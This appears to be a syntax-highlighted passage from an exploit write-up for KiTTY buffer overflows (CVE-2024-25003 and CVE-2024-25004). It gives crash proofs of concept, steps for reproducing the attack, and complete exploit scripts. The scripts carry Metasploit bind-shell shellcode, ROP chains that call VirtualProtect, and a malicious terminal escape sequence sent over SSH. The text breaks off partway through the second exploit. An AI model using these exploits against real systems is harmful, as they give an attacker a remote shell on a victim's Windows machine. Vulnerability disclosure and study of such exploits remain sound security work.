<span class="kn">import</span> <span class="nn">os</span>

<span class="n">sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mi">1309</span> 

<span class="n">escape_sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\033</span><span class="s">]0;__dt:'</span> <span class="o">+</span> <span class="n">sequence</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\007</span><span class="s">'</span>
<span class="n">stdout</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">fdopen</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="s">'wb'</span><span class="p">)</span> 
<span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">escape_sequence</span><span class="p">)</span>
<span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="c1">#-------------------------------------------------------------------------------------#
# Crash: KiTTY ≤ 0.76.1.13 Buffer Overflow Vulnerability in KiTTY Start               #
#        Duplicated Session Username Variable (CVE-2024-25004)                        #
# OS: Microsoft Windows 11/10/8/7/XP                                                  #
# Author: DEFCESCO (Austin A. DeFrancesco)                                            #
# Software:                                                                           #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #
#-------------------------------------------------------------------------------------#
</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'A'</span> <span class="o">*</span> <span class="mi">1309</span> 

<span class="n">escape_sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\033</span><span class="s">]0;__dt:localhost:'</span> <span class="o">+</span> <span class="n">sequence</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\007</span><span class="s">'</span>
<span class="n">stdout</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">fdopen</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="s">'wb'</span><span class="p">)</span> 
<span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">escape_sequence</span><span class="p">)</span>
<span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="exploits">Exploits:</h3>
<p>To reproduce these exploits, follow these steps:</p>

<ol>
  <li>Start KiTTY and start an SSH session.</li>
  <li>Save the proof of concept exploit(s) on the connected SSH session.</li>
  <li>Update the payload handler and payload documented in the exploit’s comments.</li>
  <li>Execute the exploit(s) using Python: <code class="language-plaintext highlighter-rouge">python3 CVE-2024-25003.py</code> or <code class="language-plaintext highlighter-rouge">python3 CVE-2024-25004.py</code>.</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="c1">#-------------------------------------------------------------------------------------#
# Exploit: KiTTY ≤ 0.76.1.13 Buffer Overflow Vulnerability in KiTTY Start             #
#        Duplicated Session Hostname Variable (CVE-2024-25003)                        #
# OS: Microsoft Windows 11/10/8/7/XP                                                  #
# Author: DEFCESCO (Austin A. DeFrancesco)                                            #
# Software:                                                                           #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #
#-------------------------------------------------------------------------------------#
# More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY          #
#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) &gt; to_handler                                   #
# [*] Payload Handler Started as Job 1                                                #
# msf6 payload(windows/shell_bind_tcp) &gt;                                              #
# [*] Started bind TCP handler against 192.168.100.28:4444                            #
# [*] Command shell session 1 opened (192.168.100.119:39315 -&gt; 192.168.100.28:4444)   # 
#-------------------------------------------------------------------------------------#
</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">struct</span>

<span class="c1">#---------------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) &gt; generate -b '\x00\x07\x0a\x0d\x1b\x9c\x3A\x40' -f py #
# windows/shell_bind_tcp - 375 bytes                                                          #
# https://metasploit.com/                                                                     #
# Encoder: x86/xor_poly                                                                       #
# VERBOSE=false, LPORT=4444, RHOST=192.168.100.28,                                            #
# PrependMigrate=false, EXITFUNC=process, CreateSession=true,                                 #
# AutoVerifySession=true                                                                      #
#---------------------------------------------------------------------------------------------#
</span>
<span class="n">buf</span> <span class="o">=</span>  <span class="sa">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x51\x53\x56\x57\xdb\xd9\xd9\x74\x24\xf4\x5f\x41</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x49\x31\xc9\x51\x59\x90\x90\x81\xe9\xae\xff\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xff\xbe\xd4\xa1\xc4\xf4\x31\x77\x2b\x83\xef\xfc</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x51\x59\x90\xff\xc9\x75\xf3\x5f\x5e\x5b\x59\x28</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x49\x46\xf4\xd4\xa1\xa4\x7d\x31\x90\x04\x90\x5f</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf1\xf4\x7f\x86\xad\x4f\xa6\xc0\x2a\xb6\xdc\xdb</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x16\x8e\xd2\xe5\x5e\x68\xc8\xb5\xdd\xc6\xd8\xf4</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x60\x0b\xf9\xd5\x66\x26\x06\x86\xf6\x4f\xa6\xc4</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x2a\x8e\xc8\x5f\xed\xd5\x8c\x37\xe9\xc5\x25\x85</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x2a\x9d\xd4\xd5\x72\x4f\xbd\xcc\x42\xfe\xbd\x5f</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x95\x4f\xf5\x02\x90\x3b\x58\x15\x6e\xc9\xf5\x13</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x99\x24\x81\x22\xa2\xb9\x0c\xef\xdc\xe0\x81\x30</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf9\x4f\xac\xf0\xa0\x17\x92\x5f\xad\x8f\x7f\x8c</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xbd\xc5\x27\x5f\xa5\x4f\xf5\x04\x28\x80\xd0\xf0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xfa\x9f\x95\x8d\xfb\x95\x0b\x34\xfe\x9b\xae\x5f</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xb3\x2f\x79\x89\xc9\xf7\xc6\xd4\xa1\xac\x83\xa7</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x93\x9b\xa0\xbc\xed\xb3\xd2\xd3\x5e\x11\x4c\x44</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xa0\xc4\xf4\xfd\x65\x90\xa4\xbc\x88\x44\x9f\xd4</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x5e\x11\x9e\xdc\xf8\x94\x16\x29\xe1\x94\xb4\x84</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc9\x2e\xfb\x0b\x41\x3b\x21\x43\xc9\xc6\xf4\xc5</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xfd\x4d\x12\xbe\xb1\x92\xa3\xbc\x63\x1f\xc3\xb3</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x5e\x11\xa3\xbc\x16\x2d\xcc\x2b\x5e\x11\xa3\xbc</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xd5\x28\xcf\x35\x5e\x11\xa3\x43\xc9\xb1\x9a\x99</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc0\x3b\x21\xbc\xc2\xa9\x90\xd4\x28\x27\xa3\x83</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf6\xf5\x02\xbe\xb3\x9d\xa2\x36\x5c\xa2\x33\x90</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x85\xf8\xf5\xd5\x2c\x80\xd0\xc4\x67\xc4\xb0\x80</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf1\x92\xa2\x82\xe7\x92\xba\x82\xf7\x97\xa2\xbc</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xd8\x08\xcb\x52\x5e\x11\x7d\x34\xef\x92\xb2\x2b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x91\xac\xfc\x53\xbc\xa4\x0b\x01\x1a\x34\x41\x76</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf7\xac\x52\x41\x1c\x59\x0b\x01\x9d\xc2\x88\xde</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x21\x3f\x14\xa1\xa4\x7f\xb3\xc7\xd3\xab\x9e\xd4</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf2\x3b\x21</span><span class="s">"</span>

<span class="k">def</span> <span class="nf">shellcode</span><span class="p">():</span>
	<span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span>
	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xBB\x44\x24\x44\x44</span><span class="s">'</span> <span class="c1"># mov    ebx,0x44442444
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xB8\x44\x44\x44\x44</span><span class="s">'</span> <span class="c1"># mov    eax,0x44444444
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x29\xD8</span><span class="s">'</span>             <span class="c1"># sub    eax,ebx
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x29\xC4</span><span class="s">'</span>             <span class="c1"># sub    esp,eax
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="n">buf</span>
	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1052</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">sc</span><span class="p">))</span>
	<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">sc</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1052</span> 
	<span class="k">return</span> <span class="n">sc</span>

<span class="k">def</span> <span class="nf">create_rop_chain</span><span class="p">():</span>

	<span class="c1"># rop chain generated with mona.py - www.corelan.be
</span>	<span class="n">rop_gadgets</span> <span class="o">=</span> <span class="p">[</span>
	<span class="c1">#[---INFO:gadgets_to_set_esi:---]
</span>	<span class="mh">0x004c5832</span><span class="p">,</span>  <span class="c1"># POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe]
</span>	<span class="mh">0x006424a4</span><span class="p">,</span>  <span class="c1"># ptr to &amp;VirtualProtect() [IAT kitty.exe]
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x00484e07</span><span class="p">,</span>  <span class="c1"># MOV EAX,DWORD PTR DS:[EAX] # RETN [kitty.exe]
</span>	<span class="mh">0x00473cf6</span><span class="p">,</span>  <span class="c1"># XCHG EAX,ESI # RETN [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_ebp:---]
</span>	<span class="mh">0x00429953</span><span class="p">,</span>  <span class="c1"># POP EBP # RETN [kitty.exe]
</span>	<span class="mh">0x005405b0</span><span class="p">,</span> <span class="c1"># push esp; ret 0 [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_ebx:---]
</span>	<span class="mh">0x0049d9f9</span><span class="p">,</span>  <span class="c1"># POP EBX # RETN [kitty.exe]
</span>	<span class="mh">0x00000201</span><span class="p">,</span>  <span class="c1"># 0x00000201-&gt; ebx
</span>	<span class="c1">#[---INFO:gadgets_to_set_edx:---]
</span>	<span class="mh">0x00430dce</span><span class="p">,</span>  <span class="c1"># POP EDX # RETN [kitty.exe]
</span>	<span class="mh">0x00000040</span><span class="p">,</span>  <span class="c1"># 0x00000040-&gt; edx
</span>	<span class="c1">#[---INFO:gadgets_to_set_ecx:---]
</span>	<span class="mh">0x005ac58c</span><span class="p">,</span>  <span class="c1"># POP ECX # RETN [kitty.exe]
</span>	<span class="mh">0x004d81d9</span><span class="p">,</span>  <span class="c1"># &amp;Writable location [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_edi:---]
</span>	<span class="mh">0x004fa404</span><span class="p">,</span>  <span class="c1"># POP EDI # RETN [kitty.exe]
</span>	<span class="mh">0x005a2001</span><span class="p">,</span>  <span class="c1"># RETN (ROP NOP) [kitty.exe]
</span>	<span class="c1">#[---INFO:gadgets_to_set_eax:---]
</span>	<span class="mh">0x004cd011</span><span class="p">,</span>  <span class="c1"># POP EAX # POP EBX # RETN [kitty.exe]
</span>	<span class="mh">0x90909090</span><span class="p">,</span>  <span class="c1"># nop
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="c1">#[---INFO:pushad:---]
</span>	<span class="mh">0x005dfbac</span><span class="p">,</span>  <span class="c1"># PUSHAD # RETN [kitty.exe]
</span>	<span class="p">]</span>
	<span class="k">return</span> <span class="sa">b</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;I'</span><span class="p">,</span> <span class="n">_</span><span class="p">)</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">rop_gadgets</span><span class="p">)</span>

<span class="n">rop_chain</span> <span class="o">=</span> <span class="n">create_rop_chain</span><span class="p">()</span>

<span class="c1">#----------------------------------------------------------------------------------#
# Badchars: \x00\x07\x0a\x0d\x1b\x9c\x3A\x40                                       #
# Return Address Information: 0x0052033c : {pivot 332 / 0x14c} :                   #
#   ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN                     #
#   ** [kitty.exe] **   |  startnull,ascii {PAGE_EXECUTE_READWRITE}                #
# Shellcode size at ESP: 1052                                                      #
#----------------------------------------------------------------------------------#
</span>
<span class="n">return_address</span> <span class="o">=</span> <span class="n">struct</span><span class="p">.</span><span class="n">pack</span><span class="p">(</span><span class="s">'&lt;I'</span><span class="p">,</span>  <span class="mh">0x0052033c</span><span class="p">)</span> <span class="c1"># ADD ESP,13C # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [kitty.exe] **   |  startnull,ascii {PAGE_EXECUTE_READWRITE}
</span>
<span class="n">rop_chain_padding</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">35</span> 
<span class="n">nops</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="mi">88</span>

<span class="n">escape_sequence</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\033</span><span class="s">]0;__dt:'</span> <span class="o">+</span> <span class="n">shellcode</span><span class="p">()</span> <span class="o">+</span> <span class="n">return_address</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="n">rop_chain_padding</span> <span class="o">+</span> <span class="n">rop_chain</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span>
<span class="n">escape_sequence</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xE9\x2A\xFA\xFF\xFF</span><span class="s">"</span> <span class="c1">#jmp $eip-1490
</span><span class="n">escape_sequence</span> <span class="o">+=</span> <span class="n">nops</span> <span class="o">+</span> <span class="sa">b</span><span class="s">'</span><span class="se">\007</span><span class="s">'</span>

<span class="n">stdout</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">fdopen</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="s">'wb'</span><span class="p">)</span> 
<span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">escape_sequence</span><span class="p">)</span>
<span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>
</code></pre></div></div>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span>
<span class="c1">#-------------------------------------------------------------------------------------#
# Exploit: KiTTY ≤ 0.76.1.13 Buffer Overflow Vulnerability in KiTTY Start             #
#        Duplicated Session Username Variable (CVE-2024-25004)                        #
# OS: Microsoft Windows 11/10/8/7/XP                                                  #
# Author: DEFCESCO (Austin A. DeFrancesco)                                            #
# Software:                                                                           #
# https://github.com/cyd01/KiTTY/releases/download/v0.76.1.13/kitty-bin-0.76.1.13.zip #
#-------------------------------------------------------------------------------------#
# More details can be found on my blog: https://blog.DEFCESCO.io/Hell0+KiTTY          #
#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) &gt; to_handler                                   #
# [*] Payload Handler Started as Job 1                                                #
# msf6 payload(windows/shell_bind_tcp) &gt;                                              #
# [*] Started bind TCP handler against 192.168.100.28:4444                            #
# [*] Command shell session 1 opened (192.168.100.119:34285 -&gt; 192.168.100.28:4444)   # 
#-------------------------------------------------------------------------------------#
</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">struct</span>

<span class="c1">#-------------------------------------------------------------------------------------#
# msf6 payload(windows/shell_bind_tcp) &gt; generate -b '\x00\x07\x0a\x0d\x1b\x9c' -f py #
# windows/shell_bind_tcp - 355 bytes                                                  #
# https://metasploit.com/                                                             #
# Encoder: x86/shikata_ga_nai                                                         #
# VERBOSE=false, LPORT=4444, RHOST=192.168.100.28,                                    #
# PrependMigrate=false, EXITFUNC=process, CreateSession=true,                         #
# AutoVerifySession=true                                                              #
#-------------------------------------------------------------------------------------#
</span>
<span class="n">buf</span> <span class="o">=</span>  <span class="sa">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xd9\xe9\xd9\x74\x24\xf4\xbd\xfe\xb7\xa4\x99\x5e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x29\xc9\xb1\x53\x83\xee\xfc\x31\x6e\x13\x03\x90</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xa4\x46\x6c\x90\x23\x04\x8f\x68\xb4\x69\x19\x8d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x85\xa9\x7d\xc6\xb6\x19\xf5\x8a\x3a\xd1\x5b\x3e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc8\x97\x73\x31\x79\x1d\xa2\x7c\x7a\x0e\x96\x1f</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf8\x4d\xcb\xff\xc1\x9d\x1e\xfe\x06\xc3\xd3\x52</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xde\x8f\x46\x42\x6b\xc5\x5a\xe9\x27\xcb\xda\x0e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xff\xea\xcb\x81\x8b\xb4\xcb\x20\x5f\xcd\x45\x3a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xbc\xe8\x1c\xb1\x76\x86\x9e\x13\x47\x67\x0c\x5a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x67\x9a\x4c\x9b\x40\x45\x3b\xd5\xb2\xf8\x3c\x22</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc8\x26\xc8\xb0\x6a\xac\x6a\x1c\x8a\x61\xec\xd7</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x80\xce\x7a\xbf\x84\xd1\xaf\xb4\xb1\x5a\x4e\x1a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x30\x18\x75\xbe\x18\xfa\x14\xe7\xc4\xad\x29\xf7</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xa6\x12\x8c\x7c\x4a\x46\xbd\xdf\x03\xab\x8c\xdf</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xd3\xa3\x87\xac\xe1\x6c\x3c\x3a\x4a\xe4\x9a\xbd</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xad\xdf\x5b\x51\x50\xe0\x9b\x78\x97\xb4\xcb\x12</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x3e\xb5\x87\xe2\xbf\x60\x3d\xea\x66\xdb\x20\x17</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xd8\x8b\xe4\xb7\xb1\xc1\xea\xe8\xa2\xe9\x20\x81</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x4b\x14\xcb\xbc\xd7\x91\x2d\xd4\xf7\xf7\xe6\x40</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x3a\x2c\x3f\xf7\x45\x06\x17\x9f\x0e\x40\xa0\xa0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x8e\x46\x86\x36\x05\x85\x12\x27\x1a\x80\x32\x30</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x8d\x5e\xd3\x73\x2f\x5e\xfe\xe3\xcc\xcd\x65\xf3</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x9b\xed\x31\xa4\xcc\xc0\x4b\x20\xe1\x7b\xe2\x56</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf8\x1a\xcd\xd2\x27\xdf\xd0\xdb\xaa\x5b\xf7\xcb</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x72\x63\xb3\xbf\x2a\x32\x6d\x69\x8d\xec\xdf\xc3</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x47\x42\xb6\x83\x1e\xa8\x09\xd5\x1e\xe5\xff\x39</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xae\x50\x46\x46\x1f\x35\x4e\x3f\x7d\xa5\xb1\xea</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xc5\xd5\xfb\xb6\x6c\x7e\xa2\x23\x2d\xe3\x55\x9e</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x72\x1a\xd6\x2a\x0b\xd9\xc6\x5f\x0e\xa5\x40\x8c</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x62\xb6\x24\xb2\xd1\xb7\x6c</span><span class="s">"</span>

<span class="k">def</span> <span class="nf">shellcode</span><span class="p">():</span>
	<span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">''</span> 
	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xBB\x44\x24\x44\x44</span><span class="s">'</span> <span class="c1"># mov    ebx,0x44442444
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xB8\x44\x44\x44\x44</span><span class="s">'</span> <span class="c1"># mov    eax,0x44444444
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x29\xD8</span><span class="s">'</span>             <span class="c1"># sub    eax,ebx
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x29\xC4</span><span class="s">'</span>             <span class="c1"># sub    esp,eax
</span>	<span class="n">sc</span> <span class="o">+=</span> <span class="n">buf</span>
	<span class="n">sc</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x90</span><span class="s">'</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1042</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">sc</span><span class="p">))</span>
	<span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">sc</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1042</span> 
	<span class="k">return</span> <span class="n">sc</span>

<span class="k">def</span> <span class="nf">create_rop_chain</span><span class="p">():</span>
	<span class="c1"># rop chain generated with mona.py - www.corelan.be
</span>	<span class="n">rop_gadgets</span> <span class="o">=</span> <span class="p">[</span>
	<span class="c1">#[---INFO:gadgets_to_set_esi:---]
</span>	<span class="mh">0x004c5832</span><span class="p">,</span>  <span class="c1"># POP EAX # ADD ESP,14 # POP EBX # POP ESI # RETN [kitty.exe]
</span>	<span class="mh">0x006424a4</span><span class="p">,</span>  <span class="c1"># ptr to &amp;VirtualProtect() [IAT kitty.exe]
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
</span>	<span class="mh">0x41414141</span><span class="p">,</span>  <span class="c1"># Filler (compensate)
